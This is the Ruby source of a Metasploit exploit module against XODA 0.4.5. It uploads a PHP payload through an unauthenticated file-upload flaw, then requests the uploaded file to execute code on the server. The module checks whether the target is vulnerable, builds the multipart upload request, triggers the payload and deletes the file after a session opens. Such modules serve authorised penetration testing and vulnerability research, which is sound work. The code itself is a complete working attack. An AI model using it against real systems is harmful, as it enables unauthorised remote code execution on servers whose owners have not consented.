XODA 0.4.5 Arbitrary PHP File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability",
        'Description' => %q{
          This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers
          can abuse the "upload" command in order to upload a malicious PHP file without any
          authentication, which results in arbitrary code execution. The module has been
          tested successfully on XODA 0.4.5 and Ubuntu 10.04.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Shai rod', # Vulnerability Discovery and PoC
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-10045' ],
          [ 'OSVDB', '85117' ],
          [ 'BID', '55127' ],
          [ 'EDB', '20703' ]
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['XODA 0.4.5', {}],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-08-21',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the web application", "/xoda/"])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_raw({
      'method' => 'GET',
      'uri' => "#{uri}?upload_to="
    })

    if res and res.code == 200 and res.body =~ /Upload a file/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def on_new_session(client)
    print_warning("Deleting #{@payload_name}")
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      client.fs.file.rm(@payload_name)
    else
      client.shell_command_token(@payload_name)
    end
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    peer = "#{rhost}:#{rport}"
    @payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'

    boundary = "---------------------------#{Rex::Text.rand_text_numeric(27)}"

    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"files_to_upload[]\"; filename=\"#{@payload_name}\"\r\n\r\n"
    post_data << "<?php "
    post_data << payload.encoded
    post_data << " ?>\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"pwd\"\r\n\r\n"
    post_data << "\r\n"
    post_data << "--#{boundary}--\r\n"

    print_status("Sending PHP payload (#{@payload_name})")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{uri}?upload",
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => post_data
    })

    if not res or res.code != 302
      print_error("File wasn't uploaded, aborting!")
      return
    end

    print_status("Executing PHP payload (#{@payload_name})")

    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "#{uri}files/#{@payload_name}"
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code != 200
      print_status("Server returned #{res.code.to_s}")
    end
  end
end